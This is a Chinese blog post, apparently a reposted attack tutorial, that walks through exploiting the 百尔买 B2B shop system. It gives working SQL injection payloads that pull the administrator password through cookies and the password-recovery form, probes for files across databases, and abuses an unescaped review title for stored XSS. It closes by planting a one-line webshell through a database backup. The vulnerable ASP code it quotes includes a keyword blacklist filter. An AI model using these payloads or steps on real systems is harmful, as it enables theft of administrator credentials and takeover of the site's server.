百尔买系统的几个漏洞
[全站通告] 想快速节省您的时间并可接受付费的朋友，可扫右边二维码加博主微信-非诚勿扰！
百尔买系统的几个漏洞
一、 注入。
1． 发生在更改会员密码的时候。
代码：disuser2.asp
复制内容到剪贴板
代码:
sub changepass()
if strUserName="" then
response.Write "<center>请先登录</center>"
response.End
end if %>
．．．．．．中间省略 ．．．．．．．
<td width=50% height="25" align="right">用 户 名：</td>
<td width=50% height="25" bgcolor="#FFFFFF"><font color=#FF6600>
<% = strUserName %></font></td>
</tr>
．．．．．．中间省略 ．．．．．．．
<%
end sub
上面的代码把strUserName变量输出了．我们来看看这个strUserName 是怎么得到的！
在conn.asp里．
代码如下：
复制内容到剪贴板
代码:
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 1
Fy_Zx = "index.Asp"
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
Case "1"
Response.Write "
alert('出现错误！参数 "&Fy_Cs(Fy_x)&" 的值中包含非法字符串！\n\n 请不要在参数中出现：;,and,select,update,insert,delete,chr 等非法字符！');window.close();
"
Case "2"
Response.Write "
location.href='"&Fy_Zx&"'
"
Case "3"
Response.Write "
alert(‘出现错误！参数 "&Fy_Cs(Fy_x)&"的值中包含非法字符串！\n\n 请不要在参数中出现：;,and,select,update,insert,delete,chr 等非法字符！');location.href='"&Fy_Zx&"';
"
End Select
．．．．中间省略 ．．．．．
strUserName = "非注册用户"
strTitle = "非注册用户"
if Request.Cookies("Buy2Buy")("username")<>"" then
set rsVip=server.CreateObject("adodb.recordset")
rsVip.open "select [User].GrpID,[User].UserID,[User].Score,[User].UserEmail,[User].Deposit,[User].UserName,b2b_userjb.GrpName,b2b_userjb.Stars from [User] Inner Join b2b_userjb On [User].GrpID = b2b_userjb.GrpID where username='"&request.Cookies("Buy2Buy")("username")&"' ",conn,1,1 ／／／这里直接把ＣＯＯＫＩＥ里的ＵＳＥＲＮＡＭＥ拼进了ＳＱＬ，漏洞产生了！
．．．．中间省略 ．．．．．
strUserName = rsVip("UserName")
．．．．中间省略 ．．．．．
set rsVip=nothing
End If
漏洞基本上和那个网软购物系统一样．
代码只对ＱＵＥＲＴ＿ＳＴＲＩＮＧ里的数据进行了关键字的检查．只对ＧＥＴ提交的数据进行了检查，而且检查的还不够严格！union asc() chr() 这种都没过滤的．
利用方法：
先注册一个会员。然后转到会员中心，然后打开ＷＳＥ，然后再修改密码．截取发送的数据包．
把username=ninty改成
复制内容到剪贴板
代码:
Username=a'%20union%20select%20'1','1','1','1','1',userpassword,'1','1'%20from%20admin%20where%20''='
一个union查询．因为a是一个不存在的用户，这样就只会有union后面的那个select语句的结果出现在recoreset中．
strUserName = rsVip("UserName")
rsVip(“UserName”)取到的正好是userpassword列的值，赋给了strUserName．
然后就被disuser2.asp输出了．
改后是这样的：
用ＮＣ提交一下．
把结果输出到了11.html里．打开后就看到密码了．
2． 在添加友情连接的时候。发生在links目录下的look.asp
按理说这个页面应该是只有管理员才能看的，因为它还有添加与删除连接的功能。不过这个文件里没有任何验证权限的代码。
而且这个注入点用处不是太大。
看代码：
复制内容到剪贴板
代码:
flag=Trim(Request.QueryString("flag"))
．．．．中间省略．．．．．
id=Trim(Request.QueryString("id"))
set conn=server.createobject("ADODB.CONNECTION")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("links.mdb")
conn.open connstr
．．．中间省略．．．．
if flag="1" then
conn.execute("update myoe_links set myoe_pass='Y' where id="&id)
很明显，id直接加到ＳＱＬ里去了．
不过因为友情连接用的是自己的一个数据库，所以这个注入点的用处并不大．
不过在知道另一个数据库的绝对路径的时候，到是可以跨到这个数据库去查询．
我在Ｄ盘放了一个数据库a.mdb
在注入点后写上查询语句： and exists (select * from d:\a.mdb.ccc)
返回的是错误页面：
说明不存在ccc这个表，改成admin呢?
返回正常：
说明存在admin 表，和普通的注入基本上一样．
再有一个小功能就是可以探测服务器上的目录结构．不过也属于鸡肋级的．．．．
比如：
现在提示的是找不到文件，说明c：\windows目录是存在的！
换一个不存在的目录试试．目录不存在的时候会提示 ＂不是一个有效路径＂．
检测非ＭＤＢ格式的文件是否存在：
错误说不可识别的数据库，表示文件是存在的，如果不存在还是会报文件不存在的错
3． 找回密码：disuser2.asp
复制内容到剪贴板
代码:
set rs=server.CreateObject("adodb.recordset")
rs.open "select UserQuestion,UserAnswer from [user] where username='"&trim(request.form("username"))&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "
查无此用户，请返回！
"
else
．．．中间省略．．．．
response.Write ""&trim(rs("UserQuestion"))&""
end if
rs.close
set rs=nothing
不多解释了，在首页点＂忘密＂
然后输入a' union select userpassword,admin from admin where ''='，就看到管理员密码了．同样在更改密码的时候，username也没有过滤，也造成了可以更改任意用户的密码，不过没啥太大的有处，因为管理员表和用户表是分开的，我们不能更改管理员的密码
二、 跨站．
发生在商品评论那里．B2b_plock.asp
复制内容到剪贴板
代码:
dim id,action
id=SafeRequest("id",1)
action=request.form("action")
if action="save" then
function HTMLEncode2(fString)
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "
")
fString = Replace(fString, CHR(10), "
")
HTMLEncode2 = fString
end function
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from review",conn,1,3
rs.addnew
rs("id")=id
rs("title")=HTMLEncode2(trim(request.form("title")))
rs("reviewcontent")=HTMLEncode2(trim(request.form("reviewcontent")))
rs("reviewdtm")=now()
rs("audit")=0
rs("ipaddr") = Request.ServerVariables("REMOTE_ADDR")
rs.update
rs.close
set rs=nothing
response.write "
"
response.write "您的评论已成功提交!
关闭窗口
"
response.End
end if
只用HTMLEncode2函数过滤了一下chr(13) 和 chr(10) 对我们并没有什么影响
再看后台 查看商品评论的代码：
B2b_glshpl.asp
复制内容到剪贴板
代码:
20 then
response.write ""&left(trim(rs("reviewcontent")),18)&"..."
else
response.write ""&trim(rs("reviewcontent"))&""
end if%><td height="25">
<% if len(rs("reviewcontent"))>20 then
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&left(trim(rs("reviewcontent")),18)&"...</a>"
else
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&trim(rs("reviewcontent"))&"</a>"
end if%>
</td>
只是trim了一下．没有过滤．不过这里不能直接输入<script>alert(‘xxx’);</script>这样的，注意代码里，对字符串进行了截取．只输出左边的１８个字符．这样跨站代码就不能正确执行了．
不过title属性那里的输出可是没有过滤的哦！
我们就利用这一点！
在首页随便找一个商品打开后，在评论的地方输入： "我靠，我对这个产品有很大的意见！！！"
写的长一点．让管理看不能一眼把所有内容全看到，这样他应该就会去点这条评论．
，只要鼠标移到这条评论上．跨站代码就执行了！
三、 拿ＷＥＢＳＨＥＬＬ
1. ewebeditor 后台用的是这个编辑器，而且管理员登陆页没有删～
2. 上传文件，备份数据库
3. 在添加友情连接的时候，在邮箱处写入一句话木马，到后台备份数据库，数据库地址写../links/links.mdb，就可以了 ，前提是连接的数据库路径没有改；
问题未解决？付费解决问题加Q或微信 2589053300 (即Q号又微信号)右上方扫一扫可加博主微信
所写所说，是心之所感，思之所悟，行之所得；文当无敷衍，落笔求简洁。 以所舍，求所获；有所依，方所成！
支付宝赞助
微信赞助免责声明,若由于商用引起版权纠纷,一切责任均由使用者承担。
您必须遵守我们的协议，如您下载该资源，行为将被视为对《免责声明》全部内容的认可->联系老梁投诉资源